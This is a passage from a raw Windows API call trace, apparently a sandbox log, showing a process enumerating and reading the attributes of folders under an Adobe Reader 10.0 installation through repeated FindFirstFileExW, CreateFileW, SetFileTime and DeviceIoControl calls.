lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.457] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.462] GetLastError () returned 0x12 [0251.462] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.463] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.463] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.463] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.463] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.463] GetLastError () returned 0x12 [0251.463] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.463] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.463] GetLastError () returned 0x12 [0251.463] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.464] GetLastError () returned 0x12 [0251.464] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.464] GetLastError () returned 0x12 [0251.464] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.466] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.466] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.466] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0251.517] GetLastError () returned 0x12 [0251.517] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0251.517] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.535] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.535] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.535] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.536] GetLastError () returned 0x12 [0251.536] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.536] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.563] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.563] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.564] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0251.564] GetLastError () returned 0x12 [0251.564] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.564] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.564] GetLastError () returned 0x12 [0251.564] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.564] GetLastError () returned 0x12 [0251.564] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.569] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.569] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.569] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.569] GetLastError () returned 0x12 [0251.569] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.569] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.570] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.570] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.572] GetLastError () returned 0x12 [0251.572] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat"), fInfoLevelId=0x0, lpFileInformation=0x15fe628 | out: lpFileInformation=0x15fe628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.573] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.573] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.577] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.577] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.579] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.579] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.580] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.580] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.583] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.583] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.584] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.584] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.586] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.586] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.587] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.587] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.588] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.588] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.591] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.591] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.593] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.593] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.596] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.596] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.601] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.602] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.603] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.603] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, 